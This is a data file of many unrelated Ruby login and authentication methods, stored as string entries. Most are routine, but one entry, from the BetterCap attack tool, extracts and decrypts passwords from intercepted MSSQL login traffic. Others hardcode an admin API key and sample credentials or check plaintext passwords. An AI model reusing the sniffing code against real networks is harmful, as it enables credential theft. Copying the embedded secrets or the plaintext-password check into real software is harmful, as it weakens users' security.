"def login(args = { })\n # POST /svc/Login\n # Host: eval.parkmedia.tv\n # Content-type: application/x-www-form-urlencoded\n # Content-length: 25\n #\n # username=foo&password=bar\n\n # ERROR RESPONSE\n # --------------\n # HTTP/1.0 403 Access Forbidden\n # Content-type: text/plain\n #\n # Error=BadAuthentication\n\n # SUCCESS RESPONSE\n # ----------------\n # HTTP/1.0 200 OK\n # Content-type: text/plain\n # Set-Cookie: JSESSIONID=123456789\n #\n # JSESSIONID=123456789\n\n self.http_cookie = nil\n data = { }\n\n username = args[:username]\n password = args[:password]\n\n data['password'] = password if password\n data['username'] = username if username\n\n #logger.debug { \"Logging In As User: '#{username}' Using Password: #{password ? 'yes' : 'no'}\" }\n http_post_form('Login', data)\n self.http_cookie = response['set-cookie'] if response and response.code == '200'\n http_cookie\n end",
"def check_login\n action = \"check_login\"\n url = build_url(action)\n\n # Create data for post\n data = post_data(action)\n\n # The raw should be the terminal number on success\n response = parse(ssl_post(url, data)) { |raw| { code: raw[0..6] } }\n success = response[:code] == @options[:terminal_no] ? true : false\n Response.new(\n success,\n \"\",\n response,\n authorization: \"\",\n test: test?\n )\n end",
"def login_test\n \tauth_params = {\n login: 'guest',\n password: 'connecpath',\n school: {admin_api_key: \"e85e87600d707233c96d69080dd949abbb6892e7a4ac9d452f6c58a2799f9f99\",\n \t\tadmin_username: \"shaunakdas2020\", code: \"global\"}\n }\n resp= JSON.parse(post_call('/user/login', (auth_params)).body)\n\n if resp.has_key?('global') && \n \tresp['global'].has_key?('api_key') && \n \tresp['global']['api_key'].has_key?('user') && \n \tresp['global']['api_key']['user'].has_key?('username')\n \tputs \"#Test Result: Success. Username in response:\" + resp['global']['api_key']['user']['username']\n else\n \tputs \"#Test Result: Failure. Response:\" + resp\n end\n end",
"def getTrustedLoginUrl\n secureurl + \"wlogin.srf\"\n end",
"def mobile_app_portal\n # log returning user into the app\n if params[:individual_user_id] && params[:secret]\n login(params[:individual_user_id], params[:secret])\n end\n\n\t # if pathway param exists, follow it to the proper page\n\t if params[:pathway]\t\t\n\t\t redirect_returning_user(params[:pathway],params)\n\t else\n\t\t redirect_to(:action => 'index')\n\t end\n end",
"def http_auth_login\n # FIXME: Implement\n end",
"def login; end",
"def login(url, username, password)\n token = get_token(url)\n response = https_post url, \"authenticity_token=#{}&user[login]=#{username}&user[password]=#{password}\", token[0], token[1]\n raise \"No redirect occured: server did not accept the request.\" unless response[0][\"status\"] == \"302\"\n \n return response[0]['set-cookie'].split(';')[0]\n end",
"def index\n res = create_request2(root_url + '/login/auth', 'tequila.epfl.ch')\n redirect_to ('https://tequila.epfl.ch/cgi-bin/tequila/requestauth?request' + res)\n end",
"def login(email, password)\n post api_v1_user_session_path, \n headers: { 'CONTENT_TYPE' => 'application/json', 'ACCEPT' => 'application/json' },\n params: { email: email, password: password }.to_json\nend",
"def login\n response = get \"server\"\n response.code == 200\n end",
"def login\n response = get \"server\"\n response.code == 200\n end",
"def tirerack_login\n a = Mechanize.new { |agent| agent.user_agent_alias = 'Mac Safari'}\n page = a.get(\"http://www.tirerackwholesale.com/whlogin/Login.jsp\")\n form = page.form_with(:name => \"login\")\n form.customerID = LOGIN_TIRERACK\n form.passWord = PWD_TIRERACK\n page = a.submit(form)\n puts \"Logged in to Tirerack, resulting in #{page.class}\\n\"\n end",
"def server\n reply = json_get(target, '/login', key_style)\n return reply if reply && (reply[:prompts] || reply['prompts'])\n raise BadResponse, \"Invalid response from target #{target}\"\n end",
"def login\n @rest.headers[:content_type] = \"application/json\"\n\n response = api_request { @rest[\"login\"].post({:username => @username, :password => @password}) }\n\n @rest.headers[:x_opsview_token] = response[:token]\n @rest.headers[:x_opsview_username] = @username\n\n response\n end",
"def login\n form_data = {\"j_username\" => @username, \"j_password\" => @password}\n response = rally_post(\"/slm/platform/j_platform_security_check.op\", form_data, true)\n # essential for subsequent calls to rally to authenticate internally\n @session_cookie = get_session_cookie(response)\n end",
"def make_login user, password\n server = Configuration.SERVER\n addr = Configuration.CLIOWL_ADDRESS\n \n HttpHelper.post \"http://#{server}#{addr}/login\", { 'user' => user, 'password' => password }\n end",
"def call_rest_login\n print \"validating credentials...\" \n @uri.path = \"/nitro/v1/config/login/\"\n @request = Net::HTTP::Post.new(@uri)\n @request.add_field('Content-Type', 'application/vnd.com.citrix.netscaler.login+json')\n @request.body = { :login => { :username => \"#{@username}\", :password => \"#{@password}\" } }.to_json \n\n Net::HTTP.start(@uri.host, @uri.port) { |http|\n response = http.request(@request)\n if response.code == \"201\"\n print \"success!\\n\"\n else\n print \"fail!\\n\"\n print JSON.parse(response.body), \"\\n\"\n abort()\n end\n }\n end",
"def login(mail, passwd)\n request_body = '&Email='+CGI.escape(mail)+'&Passwd='+CGI.escape(passwd)+'&accountType=HOSTED&service=apps'\n res = request({:method => 'POST', :path => '/accounts/ClientLogin' }, nil, request_body, {'Content-Type'=>'application/x-www-form-urlencoded'})\n return /^Auth=(.+)$/.match(res.to_s)[1]\n # res.to_s needed, because res.class is REXML::Document\n end",
"def login\n abakus_config = YAML.load(File.open(\"./config/_abakus_account.yaml\"))\n username = abakus_config['app']['username']\n password = abakus_config['app']['password']\n \n login_page = @agent.get(\"https://abakus.no/user/login/\")\n login_form = login_page.form_with(:action => \"/user/login/\")\n login_form.username = username\n login_form.password = password\n login_form.submit\n end",
"def login(browser = getBrowser(@displays, @headless))\n if @displayProgress\n puts \"\\x1B[90mAttempting to establish connection with: #{@login_uri}\\x1B[0m\"\n end\n browser.goto(@login_uri)\n browser.text_field(:name => 'frmLogin:strCustomerLogin_userID').set @username\n browser.text_field(:name => 'frmLogin:strCustomerLogin_pwd').set @password\n browser.checkbox(:name => 'frmLogin:loginRemember').set\n browser.input(:id => 'frmLogin:btnLogin1').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed first page\\x1B[0m\"\n end\n browser.select_list(:name => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo1').option(:value => \" #{getCharAt(browser.label(:for => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo1').when_present(5).text.gsub(/[^0-9]/, ''), @security)}\").select\n browser.select_list(:name => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo2').option(:value => \" #{getCharAt(browser.label(:for => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo2').when_present(5).text.gsub(/[^0-9]/, ''), @security)}\").select\n browser.select_list(:name => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo3').option(:value => \" #{getCharAt(browser.label(:for => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo3').when_present(5).text.gsub(/[^0-9]/, ''), @security)}\").select\n browser.input(:id => 'frmentermemorableinformation1:btnContinue').click\n until browser.link(:title => 'View the latest transactions on your Lloyds Account').exists? do\n # Email Confirmation Page\n if browser.input(:id => 'frm2:btnContinue2', :type => 'image').exists?\n browser.input(:id => 'frm2:btnContinue2', :type => 'image').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed (occasional) email confirmation page\\x1B[0m\\n\"\n end\n end\n # Offers Page\n if browser.link(:title => 'Not right now').exists?\n browser.link(:title => 'Not right now').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed (occasional) offers page\\x1B[0m\\n\"\n end\n end\n # Occasional 'Important Update' Page\n if browser.checkbox(:id => 'frmmandatoryMsgs:msgList1:0:chktmpMsgRead1').exists?\n browser.checkbox(:id => 'frmmandatoryMsgs:msgList1:0:chktmpMsgRead1').set\n if @displayProgress\n puts \"\\x1B[90mTicked checkbox to confirm I've read a message\\x1B[0m\\n\"\n end\n end\n if browser.checkbox(:id => 'frmmandatoryMsgs:tmpAllMsgsRead').exists?\n browser.checkbox(:id => 'frmmandatoryMsgs:tmpAllMsgsRead').set\n if @displayProgress\n puts \"\\x1B[90mTicked checkbox to never show a message again\\x1B[0m\\n\"\n end\n end\n if browser.input(:id => 'frmmandatoryMsgs:continue_to_your_accounts2').exists?\n browser.input(:id => 'frmmandatoryMsgs:continue_to_your_accounts2').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed (occasional) important information page\\x1B[0m\\n\"\n end\n end\n if browser.li(:class => 'primaryAction').link(:index => 0).exists?\n browser.li(:class => 'primaryAction').link(:index => 0).click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed (occasional) offers page\\x1B[0m\\n\"\n end\n end\n end\n if @displayProgress\n puts \"\\x1B[90mSuccessfully logged in to Lloyds\\x1B[0m\\n\"\n end\n sleep(2)\n browser\n end",
"def login_request(username, password)\n post(data['hosts']['auth'] + '/login', {\n headers: {\n 'Content-Type' => 'application/json'\n },\n body: {\n username: username,\n password: password\n }\n })\nend",
"def logs_in?(user, password)\n \n @http = (@use_ssl? ? Net::HTTPS : Net::HTTP).new(@server, (@use_ssl ? 443 : 80))\n \n with_viewstate_and_connection(@http) do | payload |\n login_form_values = {\n \"txtUserName\" => user.to_s,\n \"txtUserPass\" => password.to_s,\n \"cmdLogin\" => \"cmdLogin\",\n \"listSpeed\" => \"Broadband\",\n \"__VIEWSTATE\" => payload,\n }\n \n begin\n @http.start do |http|\n form_post = Net::HTTP::Post.new(LOGIN_URL)\n form_post.set_form_data(login_form_values, '&')\n response = http.request(form_post); response.value\n end\n rescue Net::HTTPRetriableError => e\n if e.message =~ /302/ # RWW will return a redirect if the user is found\n return true\n end\n end\n return false\n end\n end",
"def do_login page\n page = page.form_with(action: \"/login\") do |f|\n f.userid = @@username\n f.password = @@password\n end.click_button \n end",
"def do_login page\n page = page.form_with(action: \"/login\") do |f|\n f.userid = @@username\n f.password = @@password\n end.click_button \n end",
"def auth_post(client_login, client_password, expiration_minutes = 60 * 24 * 30)\n begin\n path = \"/#{VERSION}/authentication\"\n request = Net::HTTP::Post.new(path, initheader = {'Content-Type' =>'application/json'})\n auth_data = {\n \"Login\" => client_login,\n \"Password\" => client_password,\n \"TokenExpirationInMinutes\" => expiration_minutes\n }.delete_if{|_,v| v.nil? }.to_json\n request.body = auth_data\n response = http_connection.request(request)\n result = JSON.parse(response.body)\n return result\n rescue => e\n puts 'Error Authenticating: ' + e.message\n end\n end",
"def login\n @agent = Mechanize.new\n @page = @agent.get 'https://p.eagate.573.jp/gate/p/login.html'\n @page.encoding = 'utf-8'\n\n form = @page.forms[0]\n form.KID = Config::USER\n form.pass = Config::PASS\n @page = @agent.submit(form)\n end",
"def login\n mech = Mechanize.new\n page = mech.get(LOGIN_URL)\n username_field = page.form.field_with(id: \"user_email\")\n username_field.value = USER\n password_field = page.form.field_with(id: \"user_password\")\n password_field.value = PASS\n page.form.submit\n end",
"def login\n request_params = {\n host_url_with_protocol: host_url_with_protocol,\n host_url: host_url,\n entity_type: GlobalConstant::TemplateType.login_template_type\n }\n service_response = GlobalConstant::StTokenSale.get_client_details(request_params)\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end",
"def login()\n content = {\n 'Email' => @username,\n 'Passwd' => @password,\n 'source' => @app_name,\n 'accountType' => 'HOSTED_OR_GOOGLE',\n 'service' => 'cl'}\n\n response = send(Addressable::URI.parse(@auth_url), :post_form, content)\n\n raise HTTPRequestFailed unless response.kind_of? Net::HTTPSuccess\n\n @token = response.body.split('=').last\n @headers = {\n 'Authorization' => \"GoogleLogin auth=#{@token}\",\n 'Content-Type' => 'application/atom+xml'\n }\n @update_header = @headers.clone\n @update_header[\"If-Match\"] = \"*\"\n end",
"def user_login\n @retval = Hash.new()\n unless params[:username].blank?\n unless params[:password].blank? #check for username and password input\n @hmm_user = HmmUser.find(:first,:conditions=>{:v_user_name=>params[:username],:v_password=>params[:password],:e_user_status=>'unblocked'},:select=>'id')\n if(@hmm_user)\n @retval['hmm_user_id'] = @hmm_user.id\n @retval['status'] = true\n else\n @retval['message'] = 'invalid login details'\n @retval['status'] = false\n end\n else\n @retval['message'] = 'password is required'\n @retval['status'] = false\n end\n else\n @retval['message'] = 'username is required'\n @retval['status'] = false\n end\n render :xml => @retval.to_xml({:root=>'response',:dasherize =>false})\n end",
"def login\n email = params[:email]\n password = params[:password]\n render plain: User.check_credentials(email, password)\n end",
"def login\n content = {\n 'Email' => @username,\n 'Passwd' => @password,\n 'source' => @app_name,\n 'accountType' => 'HOSTED_OR_GOOGLE',\n 'service' => 'cl'}\n\n response = send(Addressable::URI.parse(@auth_url), :post_form, content)\n\n raise HTTPRequestFailed unless response.kind_of? Net::HTTPSuccess\n\n @token = response.body.split('=').last\n @headers = {\n 'Authorization' => \"GoogleLogin auth=#{@token}\",\n 'Content-Type' => 'application/atom+xml'\n }\n @update_header = @headers.clone\n @update_header[\"If-Match\"] = \"*\"\n end",
"def login\n \tauthenticate(params)\n end",
"def login_from_client\n return nil unless params[:auth_client] && \n params[:auth_client] == \"iphone\" &&\n params[:auth_id] &&\n params[:auth_secret] \n\n auth_secret_index = request.url =~ /&auth_secret/\n signature = Digest::MD5.hexdigest \"--#{CONFIG[:iphone_salt]}\"\\\n \"--#{request.url.slice(0,auth_secret_index)}\"\n\n return nil unless signature == params[:auth_secret].downcase || /\\/auth/ === request.url\n\n User.find Cryptography.deobfuscate(params[:auth_id])\n rescue\n nil\n end",
"def mssql_parse_login( data )\n status = data.slice!(0,1).unpack('C')[0]\n len = data.slice!(0,2).unpack('n')[0]\n\n if len > data.length + 4\n return\n end\n\n # slice of:\n # * channel, packetno, window\n # * login header\n # * client name lengt & offset\n login_hdr = data.slice!(0,4 + 36 + 4)\n\n username_offset = data.slice!(0,2).unpack('v')[0]\n username_length = data.slice!(0,2).unpack('v')[0]\n\n pw_offset = data.slice!(0,2).unpack('v')[0]\n pw_length = data.slice!(0,2).unpack('v')[0]\n\n appname_offset = data.slice!(0,2).unpack('v')[0]\n appname_length = data.slice!(0,2).unpack('v')[0]\n\n srvname_offset = data.slice!(0,2).unpack('v')[0]\n srvname_length = data.slice!(0,2).unpack('v')[0]\n\n if username_offset > 0 and pw_offset > 0\n offset = username_offset - 56\n\n user = data[offset..(offset + username_length * 2)].unpack('v*').pack('C*')\n\n offset = pw_offset - 56\n if pw_length == 0\n pass = \"<empty>\"\n else\n pass = mssql_tds_decrypt(data[offset..(offset + pw_length * 2)].unpack(\"A*\")[0])\n end\n\n offset = srvname_offset - 56\n srvname = data[offset..(offset + srvname_length * 2)].unpack('v*').pack('C*')\n BetterCap::Logger.info \"[#{'MSSQL DOWNGRADE'.green}] [#{'Username'.yellow}] #{user.yellow} | [#{'Password'.yellow}] #{pass.yellow} | [#{'Server Name'.yellow}] #{srvname.yellow}\"\n else\n BetterCap::Logger.info \"[#{'MSSQL DOWNGRADE'.yellow}] Could not parse login request for authentication credentials\"\n end\n end",
"def login\n\t\t@user = User.where(:email => params[:email]).first\n\t\t@response = Hash.new\n\n\t\tif @user\n\t\t\tif @user.valid_password?(params[:password])\n\t\t\t\t@response[:auth_token] = @user.authentication_token\n\t\t\telse\n\t\t\t\t@response[:error] = \"incorrect_password\"\n\t\t\tend\n\t\telse\n\t\t\t@response[:error] = \"incorrect_email\"\n\t\tend\n\n\t\trespond_with(@response, :location => nil)\n\tend",
"def execute(params)\n fetch_user_data(params[:code], params[:redirect_uri]).then(&method(:authenticate))\n end",
"def login(satellite_url, satellite_login, satellite_password)\n t = 0\n @client = XMLRPC::Client.new2(satellite_url)\n begin\n @key = @client.call('auth.login', satellite_login, satellite_password, timeout=480)\n rescue EOFError, TimeoutError, RuntimeError => ex\n t += 1\n if t > 3 # Give up after 3 attempts\n puts 'Too many attempts to authenticate. Exiting.'\n exit\n end\n puts \"#{ex.class}, retrying authentication...\"\n retry\n rescue XMLRPC::FaultException\n puts 'Login failed, invalid credentials.'\n exit\n end\nend",
"def spike_login()\n\t\tagent = Mechanize.new\n\t\tlogin = agent.get(self.spike_root_url) #Go to login page\n\t\tloginform = agent.page.forms.first #Select login form\n\t\tloginform.username = self.username\n\t\tloginform.password = self.password\n\t\tgsr = agent.submit(loginform, loginform.buttons.first) #Submit form and log in\n\t\treturn {'agent' => agent, 'gsr' => gsr}\n\tend",
"def login\n page = agent.get( 'http://webmail.aol.com/' )\n\n form = page.forms.find{|form| form.name == 'AOLLoginForm'}\n form.loginId = options[:username].split('@').first # Drop the domain\n form.password = options[:password]\n page = agent.submit(form, form.buttons.first)\n\n raise( Blackbook::BadCredentialsError, \"That username and password was not accepted. Please check them and try again.\" ) if page.body =~ /Invalid Screen Name or Password. Please try again./\n\n base_uri = page.body.scan(/^var gSuccessPath = \\\"(.+)\\\";/).first.first\n raise( Blackbook::BadCredentialsError, \"You do not appear to be signed in.\" ) unless base_uri\n page = agent.get base_uri\n end",
"def getLoginVerify( email, password)\n params = Hash.new\n params['email'] = email\n params['password'] = password\n return doCurl(\"get\",\"/login/verify\",params)\n end",
"def login(params={})\n params = {:session => {}}\n \n # if both username and password given as parameters or instance variables\n if ((@username && @password) || (params[:username] && params[:password]))\n params[:session][:username] = params[:username] || @username\n params[:session][:password] = params[:password] || @password\n end\n params[:session][:app_name] = @app_name || APP_CONFIG.asi_app_name\n params[:session][:app_password] = @app_password || APP_CONFIG.asi_app_password\n\n resp = RestHelper.make_request(:post, @@session_uri, params , nil, true)\n\n #@headers[\"Cookie\"] = resp[1].headers[:set_cookie].to_s\n @cookie = resp[1].cookies\n @person_id = resp[0][\"entry\"][\"user_id\"]\n end",
"def login\n \n username = @params['username-cfrm'] || ''\n password = @params['password-cfrm'] || ''\n config = BeEF::Core::Configuration.instance\n @headers['Content-Type']='application/json; charset=UTF-8'\n ua_ip = @request.ip # get client ip address\n @body = '{ success : false }' # attempt to fail closed\n \n # check if source IP address is permited to authenticate\n if not permited_source?(ua_ip)\n BeEF::Core::Logger.instance.register('Authentication', \"IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.\")\n return\n end\n\n # check if under brute force attack \n time = Time.new\n if not timeout?(time)\n @session.set_auth_timestamp(time)\n return\n end\n \n # check username and password\n if not (username.eql? config.get('beef.extension.admin_ui.username') and password.eql? config.get('beef.extension.admin_ui.password') )\n BeEF::Core::Logger.instance.register('Authentication', \"User with ip #{@request.ip} has failed to authenticate in the application.\")\n return\n end\n \n # establish an authenticated session\n\n # set up session and set it logged in\n @session.set_logged_in(ua_ip) \n \n # create session cookie \n session_cookie_name = config.get('beef.http.session_cookie_name') # get session cookie name\n Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => @session.get_id, :path => \"/\", :httponly => true})\n \n BeEF::Core::Logger.instance.register('Authentication', \"User with ip #{@request.ip} has successfuly authenticated in the application.\")\n @body = \"{ success : true }\"\n end",
"def login\n #puts \"logging in with: \"+self.password\n begin\n response = self.pclient.request :login do\n #soap.body = { :username => self.username, :password => self.password }\n soap.body = '<ins0:username>'+self.username+'</ins0:username><ins0:password>'+self.password+'</ins0:password>'\n end\n rescue Savon::SOAP::Fault => fault\n raise Exception.new(fault.to_s)\n # TODO: handle incorrect password gracefully\n # if fault.to_s.include? \"INVALID_LOGIN\"\n # self.password = TextMate::UI.request_secure_string(\n # :title => \"MavensMate\", \n # :prompt => 'Your login attempt failed. Please re-enter your password',\n # :button2 => 'Cancel'\n # )\n # TextMate.exit_discard if self.password == nil\n # is_retry = true\n # login\n # else\n # raise Exception.new(fault.to_s)\n # end \n end\n \n # if is_retry == true\n # MavensMate.add_to_keychain(MavensMate.get_project_name, self.password)\n # end \n \n begin\n res = response.to_hash\n self.metadata_server_url = res[:login_response][:result][:metadata_server_url]\n self.sid = res[:login_response][:result][:session_id].to_s\n self.user_id = res[:login_response][:result][:user_id].to_s\n self.pclient.wsdl.endpoint = res[:login_response][:result][:server_url] \n rescue Exception => e\n #puts e.message \n end\n end",
"def login username, password\n @username = username\n\n @page = @page.form('Login') { |form|\n form['txtUserID'] = username\n form['txtPassword'] = password\n form['__EVENTTARGET'] = 'btnLogin'\n }.submit\n change_password password if @page.body =~ /Old Password/\n\n if @page.body =~ /Supervisor Services/ then\n warn \"switching to employee page\"\n option = @page.parser.css(\"select#Banner1_ddlServices\").children.find { |n| n[\"value\"] =~ /EmployeeServicesStart/ }\n @page = @agent.get option[\"value\"]\n end\n\n @page = @page.link_with(:text => 'Time Sheet').click\n end",
"def login_with_proper_credentials\r\n\r\n set_text(USERNAME_TEXTFIELD_NAME, VALID_USERNAME)\r\n set_text(PASSWORD_TEXTFIELD_NAME, VALID_PASSWORD)\r\n\r\n click_on_button(SUBMIT_BUTTON_ID)\r\n\r\n end",
"def login_as_testuser\n login 'testuser@test.com', 'TestPass'\n end",
"def login_0\n\n #definde needed header\n headers = {'Authorization' => \"Basic \" + @base_user_string}\n\n #Login\n response = request({:method => \"POST\", :url => @host + \"login\", :headers => headers})\n\n #Get organisation link\n @org_link = parse_content(response.body, '//Org')[0].attribute('href').to_s\n\n #Get authentication header key\n @auth_key = response.headers[:x_vcloud_authorization]\n\n end",
"def submit_login\n\n @@agent.get \"#{BASE_URL}/divanet/\"\n @@agent.page.form_with(name: 'loginActionForm') do |form|\n form.field_with(name: 'accessCode').value = @user.access_code #Setting.login_id\n form.field_with(name: 'password').value = @user.password #Setting.login_password\n form.click_button\n end\n\n # # ログインに成功してたらログアウトが存在するはず\n # puts true if @@agent.page.body =~ /divanet/logout/\n end",
"def login\n get_session_variables_from_authenticated_system\n\n return unless request.post?\n attempt_to_login_user\n\n if logged_in? && authorized?(current_user)\n create_secret_image_code\n set_session_variables_for_authenticated_system\n log_the_login\n redirect_with_proper_protocol_and_query_string\n elsif account_subdomain\n flash.now[:notice] = \"Bad username or password for identity url: #{account_subdomain}.#{AppConfig.host}\"\n else\n flash.now[:notice] = \"Bad username or password.\"\n end\n end",
"def login_form_post\n begin\n params = {'image' => Base64.encode64(open(user_params[:image].tempfile.path) { |io| io.read }),\n 'email' => user_params[:email]}\n parsed_uri = URI.parse(request.base_url + '/rest/login/')\n resp = Net::HTTP.post_form(parsed_uri, params)\n rescue => e\n Rails.logger.debug(e)\n ensure\n redirect_to root_path\n end\n end",
"def check_login(login_text)\n begin\n @agent.redirect_ok = false\n resp = nil\n begin\n resp = @agent.get(addr(\"/feed\"),[],nil,{'cookie' => @cookie_login})\n @agent.redirect_ok = true\n rescue\n @agent.redirect_ok = true\n return nil\n end\n location = resp.response['location']\n #Phone needed\n if(location.to_s.index('security_check'))\n last_numbers = login_text[/\\d\\d\\d\\d$/]\n return nil unless last_numbers\n to = location.scan(/to\\=([^\\&]+)/)[0][0]\n #Follow redirect\n begin\n resp = @agent.get(addr(location),[],nil,{'cookie' => @cookie_login})\n rescue\n return nil\n end\n res = resp.body\n #Get hash\n hash = res.scan(/hash\\s*\\:\\s*\\'?\\\"?([^\\\"\\']+)\\\"?\\'?/)[0][0]\n post(\"/login.php\",{\"act\"=>\"security_check\",\"al\"=>\"1\",\"al_page\"=>\"3\",\"code\"=>last_numbers,\"hash\"=>hash,\"to\"=>to})\n begin\n resp = @agent.get(addr(\"/feed\"),[],nil,{'cookie' => @cookie_login})\n rescue\n return nil\n end\n end\n res = resp.body\n res.force_encoding(\"cp1251\")\n res = res.encode(\"utf-8\")\n\n id = User.get_id_by_feed(res)\n @uid = id\n return id\n rescue\n return false\n end\n end",
"def login\n\n end",
"def login\n\n end",
"def login_from_key(key)\n form_action = \"#{@url_base}/cas/shlogin.php\"\n page = @agent.post form_action, {\n :uk => URI.decode_www_form_component(key)\n }\n page\n end",
"def login(username, access_key)\n return false unless username.present? && access_key.present?\n\n params = { :login => uri_encode(username), :code => access_key }\n response = self.class.get('/login.aspx', :query => params)\n xml = response.parsed_response\n\n if response.success? && !xml['bbapi'].has_key?('error')\n self.session_id = retrieve_cookie(response, SESSION_ID_COOKIE)\n self.auth_token = retrieve_cookie(response, AUTH_TOKEN_COOKIE)\n return true\n else\n return false\n end\n end",
"def login\n return @token if @token or @auth_method == :api_key\n request = Request.new(\"Post\", \"#{@config[:base_url]}/user/login\")\n\n request.add_multipart_body ({\n name: @config[:username],\n pass: @config[:password],\n form_id: \"user_login\",\n op: \"Log in\",\n })\n\n response = request.perform\n @token = response['Set-Cookie'].split(\";\")[0] if response and response['Set-Cookie']\n @token\n end",
"def login\n auth_token =\n AuthenticateUser.new(auth_params[:email], auth_params[:phone_number], auth_params[:password]).call\n response = { message: Message.successful_login, auth_token: auth_token }\n json_response(response)\n end",
"def login_5\n\n #definde needed header\n headers = {'Authorization' => \"Basic \" + @base_user_string, 'Accept' => 'application/*+xml;version=1.5'}\n\n #Login\n response = request({:method => \"POST\", :url => @host + \"session\", :headers => headers})\n\n #Get authentication header key\n @auth_key = response.headers[:x_vcloud_authorization]\n\n\n #Get organisation link\n parse_content(response.body, '//Session/Link').each do |org|\n\n if org.attribute('type')==\"application/vnd.vmware.vcloud.orgList+xml\"\n res = request({:url => org.attribute('href').to_s})\n @org_link = parse_content(res, '//OrgList/Org')[0].attribute('href').to_s\n end\n\n end\n\n end",
"def non_interactive_login(username, password, cert_key_file_path, cert_file_path)\n json = post({\n url: \"https://identitysso.betfair.com/api/certlogin\",\n body: { username: username, password: password },\n headers: { \"Content-Type\" => \"application/x-www-form-urlencoded\" },\n cert_key_file_path: cert_key_file_path,\n cert_file_path: cert_file_path\n })\n\n add_session_token_to_persistent_headers(json[\"sessionToken\"])\n end",
"def mssql_login_datastore(db='')\n\t\tmssql_login(datastore['USERNAME'], datastore['PASSWORD'], db)\n\tend",
"def require_login auth_data\r\n username = auth_data[:login][:email]\r\n password = auth_data[:login][:password] \r\n if username && password\r\n begin\r\n user = {\"email\"=>username, \"password\"=>password}\r\n newParams = {\"user\" => user}\r\n logger.info(\"Authentication::Params---#{newParams}\")\r\n @userSession = smvLogin(newParams, request.env)\r\n smv_status = {\r\n :statusCode => @userSession.statusCode,\r\n :value => @userSession.value, \r\n :msg => @userSession.message\r\n }\r\n logger.info(\"Authentication::require_login::userSession---#{smv_status}\")\r\n if smv_status[:statusCode].blank? || smv_status[:statusCode]==0\r\n session[:userSession] = smv_status[:value].sessionGuid\r\n session[:userEmail]= username\r\n current_user_status = current_user\r\n if current_user_status[:statusCode]==-1 \r\n smv_status =current_user_status\r\n loggedOut\r\n end\r\n end\r\n rescue Exception => exc\r\n logger.info(\"Authentication::User Session:-- #{session[:userSession]}, #{exc.message}\") \r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => \"Java API is throwing some exception:-- #{exc.message}\"\r\n }\r\n end\r\n else\r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => 'Please enter a valid username and password'\r\n }\r\n end\r\n return smv_status\r\n end",
"def login\n end",
"def get_user_data(code)\n\t\taccess_uri = URI::HTTPS.build(:host => @options['auth_host'], :path => @options['access_token_path'])\n\t\tparams = {\n\t\t\t'client_id' => @options['client_id'],\n\t\t\t'client_secret' => @options['client_secret'],\n\t\t\t'redirect_uri' => @options['redirect_uri'],\n\t\t\t'code' => code\n\t\t}\n\n\t\taccess_request = JSON.parse Net::HTTP.post_form(access_uri, params).body\n\n\t\treturn nil if access_request['access_token'].nil? && access_request['user_id'].nil?\n\n\t\tcurrent_user_uri = URI::HTTPS.build(:host => @options['api_host'], :path => @options[\"method_url_path\"])\n\n\t\tresponse = JSON.parse Net::HTTP.post_form(current_user_uri, {'fields' => @options['user_fields'], 'uid' => access_request['user_id']}).body\n\n\t\treturn nil if response.nil?\n\t\tresponse\n\tend",
"def login(username, password)\n login_url = get(BASE_URL).match(/href=\"([^\"]+)\">login<\\/a>/)[1]\n form_html = get(BASE_URL + login_url)\n fnid = form_html.match(/<input type=hidden name=\"fnid\" value=\"([^\"]+)\"/)[1]\n response = post(LOGIN_SUBMIT_URL, 'fnid' => fnid, 'u' => username, 'p' => password)\n @username = username\n @password = password\n unless @cookie = response.header['set-cookie']\n raise LoginError, \"Login credentials did not work.\"\n end\n end",
"def login\r\n print \"Logging in... \"\r\n login_page = @agent.get \"https://www.economist.com/user/login\"\r\n login_form = login_page.form_with(:id => \"user-login\")\r\n login_form[\"name\"] = @credentials['email']\r\n login_form[\"pass\"] = @credentials['password']\r\n user_page = @agent.submit login_form\r\n\r\n # we check for the email address on the page.\r\n #If not present, we assume login failed\r\n @login_success = user_page.body.include?(@credentials['email'])\r\n if (@login_success)\r\n print \"success\\n\"\r\n else\r\n print \"error\\nPlease check you credentials\"\r\n end\r\n @login_success\r\n end",
"def login\n\n=begin\n :: Expected Params ::\n\n Constants::REQUEST_PARAM_USERNAME => Username\n Constants::REQUEST_PARAM_USERPASSWORD => UserPassword\n\n=end\n\n # Look up for User in database\n find_user\n\n if @user\n @user.signin!(request)\n\n render json: {status: status_code(:ok), message: '', data: @user.as_signin_json}\n \n end\n\n end",
"def login_creds\n session_login[\"username\"] = params.permit(:username)[:username]&.strip if allow_assert_username?\n session_login[\"station_id\"] = params.permit(:station_id)[:station_id]&.strip\n\n redirect_to url_for_sso_host(\"/auth/samlva\")\n end",
"def login\n params = {\n 'method' => :post,\n 'command' => '/sessions'\n }\n\n response, headers = send_request(params)\n\n if !headers.has_key?(:x_vcloud_authorization)\n raise \"Unable to authenticate: missing x_vcloud_authorization header\"\n end\n\n extensibility_link = response.css(\"Link[rel='down:extensibility']\")\n @extensibility = extensibility_link.first['href'] unless extensibility_link.empty?\n\n @auth_key = headers[:x_vcloud_authorization]\n end",
